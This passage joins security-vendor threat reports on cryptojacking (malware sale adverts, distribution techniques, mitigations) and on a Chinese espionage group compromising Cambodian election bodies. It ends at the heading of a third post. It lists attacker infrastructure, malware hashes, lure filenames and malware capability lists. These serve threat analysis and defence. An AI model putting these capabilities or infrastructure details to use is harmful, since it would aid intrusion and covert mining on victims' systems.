In March 2018, FireEye iSIGHT Intelligence observed actor "TH3FR3D" offering a tool dubbed Felix (Figure 6) that combines a cryptocurrency miner and credential stealer. The actor requested payment of $50 USD payable via Bitcoin or Ether. According to the advertisement, the Felix tool boasted the following features:

  • Written in C# (Version 1.0.1.0)
  • Browser stealer for all major browsers (cookies, saved passwords, auto-fill)
  • Monero miner (uses minergate.com pool by default, but can be configured)
  • Filezilla stealer
  • Desktop file grabber (.txt and more)
  • Can download and execute files
  • Update ability
  • USB spreader functionality
  • PHP web panel


Figure 6: Felix HTTP

Sample Advertisement #4 (Miner + RAT)

In January 2018, FireEye iSIGHT Intelligence observed actor "ups" selling a miner for any Cryptonight-based cryptocurrency (e.g., Monero and Dashcoin) for either Linux or Windows operating systems. In addition to being a miner, the tool allegedly provides local privilege escalation through the CVE-2016-0099 exploit, can download and execute remote files, and receive commands. Buyers could purchase the Windows or Linux tool for €200 EUR, or €325 EUR for both the Linux and Windows builds, payable via Monero, bitcoin, ether, or dash. According to the actor, the tool offered the following:

Windows Build Specifics

  • Written in C++ (no dependencies)
  • Miner component based on XMRig
  • Easy cryptor and VPS hosting options
  • Web panel (Figure 7)
  • Uses TLS for secured communication
  • Download and execute
  • Auto-update ability
  • Cleanup routine
  • Receive remote commands
  • Perform privilege escalation
  • Features "game mode" (mining stops if user plays game)
  • Proxy feature (based on XMRig)
  • Support (for €20/month)
  • Kills other miners from list
  • Hidden from TaskManager
  • Configurable pool, coin, and wallet (via panel)
  • Can mine the following Cryptonight-based coins:
    • Monero
    • Bytecoin
    • Electroneum
    • DigitalNote
    • Karbowanec
    • Sumokoin
    • Fantomcoin
    • Dinastycoin
    • Dashcoin
    • LeviarCoin
    • BipCoin
    • QuazarCoin
    • Bitcedi

Linux Build Specifics

  • Issues running on Linux servers (higher performance on desktop OS)
  • Compatible with AMD64 processors on Ubuntu, Debian, Mint (support for CentOS later)


Figure 7: Miner bot web panel

Sample Advertisement #5 (Miner + USB Spreader + DDoS Tool)

In August 2017, actor "MeatyBanana" was observed by FireEye iSIGHT Intelligence selling a Monero miner utility that included the ability to download and execute files and perform DDoS attacks. The actor offered the software for $30 USD, payable via Bitcoin. Ostensibly, the tool works with CPUs only and offers the following features:

  • Configurable miner pool and port (default to minergate)
  • Compatible with both 64- and 86-bit Windows OS
  • Hides from the following popular task managers:
  • Windows Task Manager
  • Process Killer
  • KillProcess
  • System Explorer
  • Process Explorer
  • AnVir
  • Process Hacker
  • Masked as a system driver
  • Does not require administrator privileges
  • No dependencies
  • Registry persistence mechanism
  • Ability to perform "tasks" (download and execute files, navigate to a site, and perform DDoS)
  • USB spreader
  • Support after purchase

The Cost of Cryptojacking

The presence of mining software on a network can generate costs on three fronts as the miner surreptitiously allocates resources:

  1. Degradation in system performance
  2. Increased cost in electricity
  3. Potential exposure of security holes

Cryptojacking targets computer processing power, which can lead to high CPU load and degraded performance. In extreme cases, CPU overload may even cause the operating system to crash. Infected machines may also attempt to infect neighboring machines and therefore generate large amounts of traffic that can overload victims' computer networks.

In the case of operational technology (OT) networks, the consequences could be severe. Supervisory control and data acquisition/industrial control systems (SCADA/ICS) environments predominately rely on decades-old hardware and low-bandwidth networks, therefore even a slight increase in CPU load or the network could leave industrial infrastructures unresponsive, impeding operators from interacting with the controlled process in real-time.

The electricity cost, measured in kilowatt hour (kWh), is dependent upon several factors: how often the malicious miner software is configured to run, how many threads it's configured to use while running, and the number of machines mining on the victim's network. The cost per kWh is also highly variable and depends on geolocation. For example, security researchers who ran Coinhive on a machine for 24 hours found that the electrical consumption was 1.212kWh. They estimated that this equated to electrical costs per month of $10.50 USD in the United States, $5.45 USD in Singapore, and $12.30 USD in Germany.

Cryptojacking can also highlight often overlooked security holes in a company's network. Organizations infected with cryptomining malware are also likely vulnerable to more severe exploits and attacks, ranging from ransomware to ICS-specific malware such as TRITON.

Cryptocurrency Miner Distribution Techniques

In order to maximize profits, cyber criminals widely disseminate their miners using various techniques such as incorporating cryptojacking modules into existing botnets, drive-by cryptomining attacks, the use of mobile apps containing cryptojacking code, and distributing cryptojacking utilities via spam and self-propagating utilities. Threat actors can use cryptojacking to affect numerous devices and secretly siphon their computing power. Some of the most commonly observed devices targeted by these cryptojacking schemes are:

  • User endpoint machines
  • Enterprise servers
  • Websites
  • Mobile devices
  • Industrial control systems
Cryptojacking in the Cloud

Private sector companies and governments alike are increasingly moving their data and applications to the cloud, and cyber threat groups have been moving with them. Recently, there have been various reports of actors conducting cryptocurrency mining operations specifically targeting cloud infrastructure. Cloud infrastructure is increasingly a target for cryptojacking operations because it offers actors an attack surface with large amounts of processing power in an environment where CPU usage and electricity costs are already expected to be high, thus allowing their operations to potentially go unnoticed. We assess with high confidence that threat actors will continue to target enterprise cloud networks in efforts to harness their collective computational resources for the foreseeable future.

The following are some real-world examples of cryptojacking in the cloud:

  • In February 2018, FireEye researchers published a blog detailing various techniques actors used in order to deliver malicious miner payloads (specifically to vulnerable Oracle servers) by abusing CVE-2017-10271. Refer to our blog post for more detailed information regarding the post-exploitation and pre-mining dissemination techniques used in those campaigns.
  • In March 2018, Bleeping Computer reported on the trend of cryptocurrency mining campaigns moving to the cloud via vulnerable Docker and Kubernetes applications, which are two software tools used by developers to help scale a company's cloud infrastructure. In most cases, successful attacks occur due to misconfigured applications and/or weak security controls and passwords.
  • In February 2018, Bleeping Computer also reported on hackers who breached Tesla's cloud servers to mine Monero. Attackers identified a Kubernetes console that was not password protected, allowing them to discover login credentials for the broader Tesla Amazon Web services (AWS) S3 cloud environment. Once the attackers gained access to the AWS environment via the harvested credentials, they effectively launched their cryptojacking operations.
  • Reports of cryptojacking activity due to misconfigured AWS S3 cloud storage buckets have also been observed, as was the case in the LA Times online compromise in February 2018. The presence of vulnerable AWS S3 buckets allows anyone on the internet to access and change hosted content, including the ability to inject mining scripts or other malicious software.
Incorporation of Cryptojacking into Existing Botnets

FireEye iSIGHT Intelligence has observed multiple prominent botnets such as Dridex and Trickbot incorporate cryptocurrency mining into their existing operations. Many of these families are modular in nature and have the ability to download and execute remote files, thus allowing the operators to easily turn their infections into cryptojacking bots. While these operations have traditionally been aimed at credential theft (particularly of banking credentials), adding mining modules or downloading secondary mining payloads provides the operators another avenue to generate additional revenue with little effort. This is especially true in cases where the victims were deemed unprofitable or have already been exploited in the original scheme.

The following are some real-world examples of cryptojacking being incorporated into existing botnets:

  • In early February 2018, FireEye iSIGHT Intelligence observed Dridex botnet ID 2040 download a Monero cryptocurrency miner based on the open-source XMRig miner.
  • On Feb. 12, 2018, FireEye iSIGHT Intelligence observed the banking malware IcedID injecting Monero-mining JavaScript into webpages for specific, targeted URLs. The IcedID injects launched an anonymous miner using the mining code from Coinhive's AuthedMine.
  • In late 2017, Bleeping Computer reported that security researchers with Radware observed the hacking group CodeFork leveraging the popular downloader Andromeda (aka Gamarue) to distribute a miner module to their existing botnets.
  • In late 2017, FireEye researchers observed Trickbot operators deploy a new module named "testWormDLL" that is a statically compiled copy of the popular XMRig Monero miner.
  • On Aug. 29, 2017, Security Week reported on a variant of the popular Neutrino banking Trojan, including a Monero miner module. According to their reporting, the new variant no longer aims at stealing bank card data, but instead is limited to downloading and executing modules from a remote server.

Drive-By Cryptojacking

In-Browser

FireEye iSIGHT Intelligence has examined various customer reports of browser-based cryptocurrency mining. Browser-based mining scripts have been observed on compromised websites, third-party advertising platforms, and have been legitimately placed on websites by publishers. While coin mining scripts can be embedded directly into a webpage's source code, they are frequently loaded from third-party websites. Identifying and detecting websites that have embedded coin mining code can be difficult since not all coin mining scripts are authorized by website publishers, such as in the case of a compromised website. Further, in cases where coin mining scripts were authorized by a website owner, they are not always clearly communicated to site visitors. At the time of reporting, the most popular script being deployed in the wild is Coinhive. Coinhive is an open-source JavaScript library that, when loaded on a vulnerable website, can mine Monero using the site visitor's CPU resources, unbeknownst to the user, as they browse the site.

The following are some real-world examples of Coinhive being deployed in the wild:

  • In September 2017, Bleeping Computer reported that the authors of SafeBrowse, a Chrome extension with more than 140,000 users, had embedded the Coinhive script in the extension's code that allowed for the mining of Monero using users' computers and without getting their consent.
  • During mid-September 2017, users on Reddit began complaining about increased CPU usage when they navigated to a popular torrent site, The Pirate Bay (TPB). The spike in CPU usage was a result of Coinhive's script being embedded within the site's footer. According to TPB operators, it was implemented as a test to generate passive revenue for the site (Figure 8).
  • In December 2017, researchers with Sucuri reported on the presence of the Coinhive script being hosted on GitHub.io, which allows users to publish web pages directly from GitHub repositories.
  • Other reporting disclosed the Coinhive script being embedded on the Showtime domain as well as on the LA Times website, both surreptitiously mining Monero.
  • A majority of in-browser cryptojacking activity is transitory in nature and will last only as long as the user’s web browser is open. However, researchers with Malwarebytes Labs uncovered a technique that allows for continued mining activity even after the browser window is closed. The technique leverages a pop-under window surreptitiously hidden under the taskbar. As researchers pointed out, closing the browser window may not be enough to interrupt the activity, and that more advanced actions like running the Task Manager may be required.


Figure 8: Statement from TPB operators on Coinhive script

Malvertising and Exploit Kits

Malvertisements – malicious ads on legitimate websites – commonly redirect visitors of a site to an exploit kit landing page. These landing pages are designed to scan a system for vulnerabilities, exploit those vulnerabilities, and download and execute malicious code onto the system. Notably, the malicious advertisements can be placed on legitimate sites and visitors can become infected with little to no user interaction. This distribution tactic is commonly used by threat actors to widely distribute malware and has been employed in various cryptocurrency mining operations.

The following are some real-world examples of this activity:

  • In early 2018, researchers with Trend Micro reported that a modified miner script was being disseminated across YouTube via Google's DoubleClick ad delivery platform. The script was configured to generate a random number variable between 1 and 100, and when the variable was above 10 it would launch the Coinhive script coinhive.min.js, which harnessed 80 percent of the CPU power to mine Monero. When the variable was below 10 it launched a modified Coinhive script that was also configured to harness 80 percent CPU power to mine Monero. This custom miner connected to the mining pool wss[:]//ws[.]l33tsite[.]info:8443, which was likely done to avoid Coinhive's fees.
  • In April 2018, researchers with Trend Micro also discovered a JavaScript code based on Coinhive injected into an AOL ad platform. The miner used the following private mining pools: wss[:]//wsX[.]www.datasecu[.]download/proxy and wss[:]//www[.]jqcdn[.]download:8893/proxy. Examination of other sites compromised by this campaign showed that in at least some cases the operators were hosting malicious content on unsecured AWS S3 buckets.
  • Since July 16, 2017, FireEye has observed the Neptune Exploit Kit redirect to ads for hiking clubs and MP3 converter domains. Payloads associated with the latter include Monero CPU miners that are surreptitiously installed on victims' computers.
  • In January 2018, Check Point researchers discovered a malvertising campaign leading to the Rig Exploit Kit, which served the XMRig Monero miner utility to unsuspecting victims.

Mobile Cryptojacking

In addition to targeting enterprise servers and user machines, threat actors have also targeted mobile devices for cryptojacking operations. While this technique is less common, likely due to the limited processing power afforded by mobile devices, cryptojacking on mobile devices remains a threat as sustained power consumption can damage the device and dramatically shorten the battery life. Threat actors have been observed targeting mobile devices by hosting malicious cryptojacking apps on popular app stores and through drive-by malvertising campaigns that identify users of mobile browsers.

The following are some real-world examples of mobile devices being used for cryptojacking:

  • During 2014, FireEye iSIGHT Intelligence reported on multiple Android malware apps capable of mining cryptocurrency:
    • In March 2014, Android malware named "CoinKrypt" was discovered, which mined Litecoin, Dogecoin, and CasinoCoin currencies.
    • In March 2014, another form of Android malware – "Android.Trojan.MuchSad.A" or "ANDROIDOS_KAGECOIN.HBT" – was observed mining Bitcoin, Litecoin, and Dogecoin currencies. The malware was disguised as copies of popular applications, including "Football Manager Handheld" and "TuneIn Radio." Variants of this malware have reportedly been downloaded by millions of Google Play users.
    • In April 2014, Android malware named "BadLepricon," which mined Bitcoin, was identified. The malware was reportedly being bundled into wallpaper applications hosted on the Google Play store, at least several of which received 100 to 500 installations before being removed.
    • In October 2014, a type of mobile malware called "Android Slave" was observed in China; the malware was reportedly capable of mining multiple virtual currencies.
  • In December 2017, researchers with Kaspersky Labs reported on a new multi-faceted Android malware capable of a variety of actions including mining cryptocurrencies and launching DDoS attacks. The resource load created by the malware has reportedly been high enough that it can cause the battery to bulge and physically destroy the device. The malware, dubbed Loapi, is unique in the breadth of its potential actions. It has a modular framework that includes modules for malicious advertising, texting, web crawling, Monero mining, and other activities. Loapi is thought to be the work of the same developers behind the 2015 Android malware Podec, and is usually disguised as an anti-virus app.
  • In January 2018, SophosLabs released a report detailing their discovery of 19 mobile apps hosted on Google Play that contained embedded Coinhive-based cryptojacking code, some of which were downloaded anywhere from 100,000 to 500,000 times.
  • Between November 2017 and January 2018, researchers with Malwarebytes Labs reported on a drive-by cryptojacking campaign that affected millions of Android mobile browsers to mine Monero.

Cryptojacking Spam Campaigns

FireEye iSIGHT Intelligence has observed several cryptocurrency miners distributed via spam campaigns, which is a commonly used tactic to indiscriminately distribute malware. We expect malicious actors will continue to use this method to disseminate cryptojacking code as for long as cryptocurrency mining remains profitable.

In late November 2017, FireEye researchers identified a spam campaign delivering a malicious PDF attachment designed to appear as a legitimate invoice from the largest port and container service in New Zealand: Lyttelton Port of Chistchurch (Figure 9). Once opened, the PDF would launch a PowerShell script that downloaded a Monero miner from a remote host. The malicious miner connected to the pools supportxmr.com and nanopool.org.


Figure 9: Sample lure attachment (PDF) that downloads malicious cryptocurrency miner

Additionally, a massive cryptojacking spam campaign was discovered by FireEye researchers during January 2018 that was designed to look like legitimate financial services-related emails. The spam email directed victims to an infection link that ultimately dropped a malicious ZIP file onto the victim's machine. Contained within the ZIP file was a cryptocurrency miner utility (MD5: 80b8a2d705d5b21718a6e6efe531d493) configured to mine Monero and connect to the minergate.com pool. While each of the spam email lures and associated ZIP filenames were different, the same cryptocurrency miner sample was dropped across all observed instances (Table 2).

ZIP Filenames

california_540_tax_form_2013_instructions.exe

state_bank_of_india_money_transfer_agency.exe

format_transfer_sms_banking_bni_ke_bca.exe

confirmation_receipt_letter_sample.exe

sbi_online_apply_2015_po.exe

estimated_tax_payment_coupon_irs.exe

how_to_add_a_non_us_bank_account_to_paypal.exe

western_union_money_transfer_from_uk_to_bangladesh.exe

can_i_transfer_money_from_bank_of_ireland_to_aib_online.exe

how_to_open_a_business_bank_account_with_bad_credit_history.exe

apply_for_sbi_credit_card_online.exe

list_of_lucky_winners_in_dda_housing_scheme_2014.exe

Table 2: Sampling of observed ZIP filenames delivering cryptocurrency miner

Cryptojacking Worms

Following the WannaCry attacks, actors began to increasingly incorporate self-propagating functionality within their malware. Some of the observed self-spreading techniques have included copying to removable drives, brute forcing SSH logins, and leveraging the leaked NSA exploit EternalBlue. Cryptocurrency mining operations significantly benefit from this functionality since wider distribution of the malware multiplies the amount of CPU resources available to them for mining. Consequently, we expect that additional actors will continue to develop this capability.

The following are some real-world examples of cryptojacking worms:

  • In May 2017, Proofpoint reported a large campaign distributing mining malware "Adylkuzz." This cryptocurrency miner was observed leveraging the EternalBlue exploit to rapidly spread itself over corporate LANs and wireless networks. This activity included the use of the DoublePulsar backdoor to download Adylkuzz. Adylkuzz infections create botnets of Windows computers that focus on mining Monero.
  • Security researchers with Sensors identified a Monero miner worm, dubbed "Rarogminer," in April 2018 that would copy itself to removable drives each time a user inserted a flash drive or external HDD.
  • In January 2018, researchers at F5 discovered a new Monero cryptomining botnet that targets Linux machines. PyCryptoMiner is based on Python script and spreads via the SSH protocol. The bot can also use Pastebin for its command and control (C2) infrastructure. The malware spreads by trying to guess the SSH login credentials of target Linux systems. Once that is achieved, the bot deploys a simple base64-encoded Python script that connects to the C2 server to download and execute more malicious Python code.

Detection Avoidance Methods

Another trend worth noting is the use of proxies to avoid detection. The implementation of mining proxies presents an attractive option for cyber criminals because it allows them to avoid developer and commission fees of 30 percent or more. Avoiding the use of common cryptojacking services such as Coinhive, Cryptloot, and Deepminer, and instead hosting cryptojacking scripts on actor-controlled infrastructure, can circumvent many of the common strategies taken to block this activity via domain or file name blacklisting.

In March 2018, Bleeping Computer reported on the use of cryptojacking proxy servers and determined that as the use of cryptojacking proxy services increases, the effectiveness of ad blockers and browser extensions that rely on blacklists decreases significantly.

Several mining proxy tools can be found on GitHub, such as the XMRig Proxy tool, which greatly reduces the number of active pool connections, and the CoinHive Stratum Mining Proxy, which uses Coinhive’s JavaScript mining library to provide an alternative to using official Coinhive scripts and infrastructure.

In addition to using proxies, actors may also establish their own self-hosted miner apps, either on private servers or cloud-based servers that supports Node.js. Although private servers may provide some benefit over using a commercial mining service, they are still subject to easy blacklisting and require more operational effort to maintain. According to Sucuri researchers, cloud-based servers provide many benefits to actors looking to host their own mining applications, including:

  • Available free or at low-cost
  • No maintenance, just upload the crypto-miner app
  • Harder to block as blacklisting the host address could potentially impact access to legitimate services
  • Resilient to permanent takedown as new hosting accounts can more easily be created using disposable accounts

The combination of proxies and crypto-miners hosted on actor-controlled cloud infrastructure presents a significant hurdle to security professionals, as both make cryptojacking operations more difficult to detect and take down.

Mining Victim Demographics

Based on data from FireEye detection technologies, the detection of cryptocurrency miner malware has increased significantly since the beginning of 2018 (Figure 10), with the most popular mining pools being minergate and nanopool (Figure 11), and the most heavily affected country being the U.S. (Figure 12). Consistent with other reporting, the education sector remains most affected, likely due to more relaxed security controls across university networks and students taking advantage of free electricity to mine cryptocurrencies (Figure 13).


Figure 10: Cryptocurrency miner detection activity per month


Figure 11: Commonly observed pools and associated ports


Figure 12: Top 10 affected countries


Figure 13: Top five affected industries


Figure 14: Top affected industries by country

Mitigation Techniques

Unencrypted Stratum Sessions

According to security researchers at Cato Networks, in order for a miner to participate in pool mining, the infected machine will have to run native or JavaScript-based code that uses the Stratum protocol over TCP or HTTP/S. The Stratum protocol uses a publish/subscribe architecture where clients will send subscription requests to join a pool and servers will send messages (publish) to its subscribed clients. These messages are simple, readable, JSON-RPC messages. Subscription requests will include the following entities: id, method, and params (Figure 15). A deep packet inspection (DPI) engine can be configured to look for these parameters in order to block Stratum over unencrypted TCP.


Figure 15: Stratum subscription request parameters

Encrypted Stratum Sessions

In the case of JavaScript-based miners running Stratum over HTTPS, detection is more difficult for DPI engines that do not decrypt TLS traffic. To mitigate encrypted mining traffic on a network, organizations may blacklist the IP addresses and domains of popular mining pools. However, the downside to this is identifying and updating the blacklist, as locating a reliable and continually updated list of popular mining pools can prove difficult and time consuming.

Browser-Based Sessions

Identifying and detecting websites that have embedded coin mining code can be difficult since not all coin mining scripts are authorized by website publishers (as in the case of a compromised website). Further, in cases where coin mining scripts were authorized by a website owner, they are not always clearly communicated to site visitors.

As defenses evolve to prevent unauthorized coin mining activities, so will the techniques used by actors; however, blocking some of the most common indicators that we have observed to date may be effective in combatting a significant amount of the CPU-draining mining activities that customers have reported. Generic detection strategies for browser-based cryptocurrency mining include:

  • Blocking domains known to have hosted coin mining scripts
  • Blocking websites of known mining project websites, such as Coinhive
  • Blocking scripts altogether
  • Using an ad-blocker or coin mining-specific browser add-ons
  • Detecting commonly used naming conventions
  • Alerting and blocking traffic destined for known popular mining pools

Some of these detection strategies may also be of use in blocking some mining functionality included in existing financial malware as well as mining-specific malware families.

It is important to note that JavaScript used in browser-based cryptojacking activity cannot access files on disk. However, if a host has inadvertently navigated to a website hosting mining scripts, we recommend purging cache and other browser data.

Outlook

In underground communities and marketplaces there has been significant interest in cryptojacking operations, and numerous campaigns have been observed and reported by security researchers. These developments demonstrate the continued upward trend of threat actors conducting cryptocurrency mining operations, which we expect to see a continued focus on throughout 2018. Notably, malicious cryptocurrency mining may be seen as preferable due to the perception that it does not attract as much attention from law enforcement as compared to other forms of fraud or theft. Further, victims may not realize their computer is infected beyond a slowdown in system performance.

Due to its inherent privacy-focused features and CPU-mining profitability, Monero has become one of the most attractive cryptocurrency options for cyber criminals. We believe that it will continue to be threat actors' primary cryptocurrency of choice, so long as the Monero blockchain maintains privacy-focused standards and is ASIC-resistant. If in the future the Monero protocol ever downgrades its security and privacy-focused features, then we assess with high confidence that threat actors will move to use another privacy-focused coin as an alternative.

Because of the anonymity associated with the Monero cryptocurrency and electronic wallets, as well as the availability of numerous cryptocurrency exchanges and tumblers, attribution of malicious cryptocurrency mining is very challenging for authorities, and malicious actors behind such operations typically remain unidentified. Threat actors will undoubtedly continue to demonstrate high interest in malicious cryptomining so long as it remains profitable and relatively low risk.

Chinese Espionage Group TEMP.Periscope Targets Cambodia Ahead of July 2018 Elections and Reveals Broad Operations Globally

Introduction

FireEye has examined a range of TEMP.Periscope activity revealing extensive interest in Cambodia's politics, with active compromises of multiple Cambodian entities related to the country’s electoral system. This includes compromises of Cambodian government entities charged with overseeing the elections, as well as the targeting of opposition figures. This campaign occurs in the run up to the country’s July 29, 2018, general elections. TEMP.Periscope used the same infrastructure for a range of activity against other more traditional targets, including the defense industrial base in the United States and a chemical company based in Europe. Our previous blog post focused on the group’s targeting of engineering and maritime entities in the United States.

Overall, this activity indicates that the group maintains an extensive intrusion architecture and wide array of malicious tools, and targets a large victim set, which is in line with typical Chinese-based APT efforts. We expect this activity to provide the Chinese government with widespread visibility into Cambodian elections and government operations. Additionally, this group is clearly able to run several large-scale intrusions concurrently across a wide range of victim types.

Our analysis also strengthened our overall attribution of this group. We observed the toolsets we previously attributed to this group, their observed targets are in line with past group efforts and also highly similar to known Chinese APT efforts, and we identified an IP address originating in Hainan, China that was used to remotely access and administer a command and control (C2) server.

TEMP.Periscope Background

Active since at least 2013, TEMP.Periscope has primarily focused on maritime-related targets across multiple verticals, including engineering firms, shipping and transportation, manufacturing, defense, government offices, and research universities (targeting is summarized in Figure 1). The group has also targeted professional/consulting services, high-tech industry, healthcare, and media/publishing. TEMP.Periscope overlaps in targeting, as well as tactics, techniques, and procedures (TTPs), with TEMP.Jumper, a group that also overlaps significantly with public reporting by Proofpoint and F-Secure on "NanHaiShu."


Figure 1: Summary of TEMP.Periscope activity

Incident Background

FireEye analyzed files on three open indexes believed to be controlled by TEMP.Periscope, which yielded insight into the group's objectives, operational tactics, and a significant amount of technical attribution/validation. These files were "open indexed" and thus accessible to anyone on the public internet. This TEMP.Periscope activity on these servers extends from at least April 2017 to the present, with the most current operations focusing on Cambodia's government and elections.

  • Two servers, chemscalere[.]com and scsnewstoday[.]com, operate as typical C2 servers and hosting sites, while the third, mlcdailynews[.]com, functions as an active SCANBOX server. The C2 servers contained both logs and malware.
  • Analysis of logs from the three servers revealed:
    • Potential actor logins from an IP address located in Hainan, China that was used to remotely access and administer the servers, and interact with malware deployed at victim organizations.
    • Malware command and control check-ins from victim organizations in the education, aviation, chemical, defense, government, maritime, and technology sectors across multiple regions. FireEye has notified all of the victims that we were able to identify.
  • The malware present on the servers included both new families (DADBOD, EVILTECH) and previously identified malware families (AIRBREAK, EVILTECH, HOMEFRY, MURKYTOP, HTRAN, and SCANBOX) .

Compromises of Cambodian Election Entities

Analysis of command and control logs on the servers revealed compromises of multiple Cambodian entities, primarily those relating to the upcoming July 2018 elections. In addition, a separate spear phishing email analyzed by FireEye indicates concurrent targeting of opposition figures within Cambodia by TEMP.Periscope.

Analysis indicated that the following Cambodian government organizations and individuals were compromised by TEMP.Periscope:

  • National Election Commission, Ministry of the Interior, Ministry of Foreign Affairs and International Cooperation, Cambodian Senate, Ministry of Economics and Finance
  • Member of Parliament representing Cambodia National Rescue Party
  • Multiple Cambodians advocating human rights and democracy who have written critically of the current ruling party
  • Two Cambodian diplomats serving overseas
  • Multiple Cambodian media entities

TEMP.Periscope sent a spear phish with AIRBREAK malware to Monovithya Kem, Deputy Director-General, Public Affairs, Cambodia National Rescue Party (CNRP), and the daughter of (imprisoned) Cambodian opposition party leader Kem Sokha (Figure 2). The decoy document purports to come from LICADHO (a non-governmental organization [NGO] in Cambodia established in 1992 to promote human rights). This sample leveraged scsnewstoday[.]com for C2.


Figure 2: Human right protection survey lure

The decoy document "Interview Questions.docx" (MD5: ba1e5b539c3ae21c756c48a8b5281b7e) is tied to AIRBREAK downloaders of the same name. The questions reference the opposition Cambodian National Rescue Party, human rights, and the election (Figure 3).


Figure 3: Interview questions decoy

Infrastructure Also Used for Operations Against Private Companies

The aforementioned malicious infrastructure was also used against private companies in Asia, Europe and North America. These companies are in a wide range of industries, including academics, aviation, chemical, maritime, and technology. A MURKYTOP sample from 2017 and data contained in a file linked to chemscalere[.]com suggest that a corporation involved in the U.S. defense industrial base (DIB) industry, possibly related to maritime research, was compromised. Many of these compromises are in line with TEMP.Periscope’s previous activity targeting maritime and defense industries. However, we also uncovered the compromise of a European chemical company with a presence in Asia, demonstrating that this group is a threat to business worldwide, particularly those with ties to Asia.

AIRBREAK Downloaders and Droppers Reveal Lure Indicators

Filenames for AIRBREAK downloaders found on the open indexed sites also suggest the ongoing targeting of interests associated with Asian geopolitics. In addition, analysis of AIRBREAK downloader sites revealed a related server that underscores TEMP.Periscope's interest in Cambodian politics.

The AIRBREAK downloaders in Table 1 redirect intended victims to the indicated sites to display a legitimate decoy document while downloading an AIRBREAK payload from one of the identified C2s. Of note, the hosting site for the legitimate documents was not compromised. An additional C2 domain, partyforumseasia[.]com, was identified as the callback for an AIRBREAK downloader referencing the Cambodian National Rescue Party.

Redirect Site (Not Malicious)

AIRBREAK Downloader

AIRBREAK C2

en.freshnewsasia.com/index.php/en/8623-2018-04-26-10-12-46.html

TOP_NEWS_Japan_to_Support_the_Election.js

(3c51c89078139337c2c92e084bb0904c) [Figure 4]

chemscalere[.]com

iric.gov.kh/LICADHO/Interview-Questions.pdf

[pdf]Interview-Questions.pdf.js

(e413b45a04bf5f812912772f4a14650f)

iric.gov.kh/LICADHO/Interview-Questions.pdf

[docx]Interview-Questions.docx.js

(cf027a4829c9364d40dcab3f14c1f6b7)

unknown

Interview_Questions.docx.js

(c8fdd2b2ddec970fa69272fdf5ee86cc)

scsnewstoday[.]com

atimes.com/article/philippines-draws-three-hard-new-lines-on-china/

Philippines-draws-three-hard-new-lines-on-china .js

(5d6ad552f1d1b5cfe99ddb0e2bb51fd7)

mlcdailynews[.]com

facebook.com/CNR.Movement/videos/190313618267633/

CNR.Movement.mp4.js

(217d40ccd91160c152e5fce0143b16ef)

Partyforumseasia[.]com

 

Table 1: AIRBREAK downloaders


Figure 4: Decoy document associated with AIRBREAK downloader file TOP_NEWS_Japan_to_Support_the_Election.js

SCANBOX Activity Gives Hints to Future Operations

The active SCANBOX server, mlcdailynews[.]com, is hosting articles related to the current Cambodian campaign and broader operations. Articles found on the server indicate targeting of those with interests in U.S.-East Asia geopolitics, Russia and NATO affairs. Victims are likely either brought to the SCANBOX server via strategic website compromise or malicious links in targeted emails with the article presented as decoy material. The articles come from open-source reporting readily available online. Figure 5 is a SCANBOX welcome page and Table 2 is a list of the articles found on the server.


Figure 5: SCANBOX welcome page

Copied Article Topic

Article Source (Not Compromised)

Leaders confident yet nervous

Khmer Times

Mahathir_ 'We want to be friendly with China

PM urges voters to support CPP for peace

CPP determined to maintain Kingdom's peace and development

Bun Chhay's wife dies at 60

Crackdown planned on boycott callers

Further floods coming to Kingdom

Kem Sokha again denied bail

PM vows to stay on as premier to quash traitors

Iran_ Don't trust Trump

Fresh News

Kim-Trump summit_ Singapore's role

Trump's North Korea summit may bring peace declaration - but at a cost

Reuters

U.S. pushes NATO to ready more forces to deter Russian threat

us-nato-russia_us-pushes-nato-to-ready-more-forces-to-deter-russian-threat

Interior Minister Sar Kheng warns of dirty tricks

Phnom Penh Post

Another player to enter market for cashless pay

Donald Trump says he has 'absolute right' to pardon himself but he's done nothing wrong - Donald Trump's America

ABC News

China-funded national road inaugurated in Cambodia

The Cambodia Daily

Kim and Trump in first summit session in Singapore

Asia Times

U.S. to suspend military exercises with South Korea, Trump says

U.S. News

Rainsy defamed the King_ Hun Sen

BREAKING NEWS

cambodia-opposition-leader-denied-bail-again-in-treason-case

Associated Press

Table 2: SCANBOX articles copied to server

TEMP.Periscope Malware Suite

Analysis of the malware inventory contained on the three servers found a classic suite of TEMP.Periscope payloads, including the signature AIRBREAK, MURKYTOP, and HOMEFRY. In addition, FireEye’s analysis identified new tools, EVILTECH and DADBOD (Table 3).

Malware

Function

Details

EVILTECH

Backdoor

  • EVILTECH is a JavaScript sample that implements a simple RAT with support for uploading, downloading, and running arbitrary JavaScript.
  • During the infection process, EVILTECH is run on the system, which then causes a redirect and possibly the download of additional malware or connection to another attacker-controlled system.

DADBOD

Credential Theft

  • DADBOD is a tool used to steal user cookies.
  • Analysis of this malware is still ongoing.

Table 3: New additions to the TEMP.Periscope malware suite

Data from Logs Strengthens Attribution to China

Our analysis of the servers and surrounding data in this latest campaign bolsters our previous assessment that TEMP.Periscope is likely Chinese in origin. Data from a control panel access log indicates that operators are based in China and are operating on computers with Chinese language settings.

A log on the server revealed IP addresses that had been used to log in to the software used to communicate with malware on victim machines. One of the IP addresses, 112.66.188.28, is located in Hainan, China. Other addresses belong to virtual private servers, but artifacts indicate that the computers used to log in all cases are configured with Chinese language settings.

Outlook and Implications

The activity uncovered here offers new insight into TEMP.Periscope’s activity. We were previously aware of this actor’s interest in maritime affairs, but this compromise gives additional indications that it will target the political system of strategically important countries. Notably, Cambodia has served as a reliable supporter of China’s South China Sea position in international forums such as ASEAN and is an important partner. While Cambodia is rated as Authoritarian by the Economist’s Democracy Index, the recent surprise upset of the ruling party in Malaysia may motivate China to closely monitor Cambodia’s July 29 elections.

The targeting of the election commission is particularly significant, given the critical role it plays in facilitating voting. There is not yet enough information to determine why the organization was compromised – simply gathering intelligence or as part of a more complex operation. Regardless, this incident is the most recent example of aggressive nation-state intelligence collection on election processes worldwide.

We expect TEMP.Periscope to continue targeting a wide range of government and military agencies, international organizations, and private industry. However focused this group may be on maritime issues, several incidents underscore their broad reach, which has included European firms doing business in Southeast Asia and the internal affairs of littoral nations. FireEye expects TEMP.Periscope will remain a virulent threat for those operating in the area for the foreseeable future.

Malicious PowerShell Detection via Machine Learning

Introduction

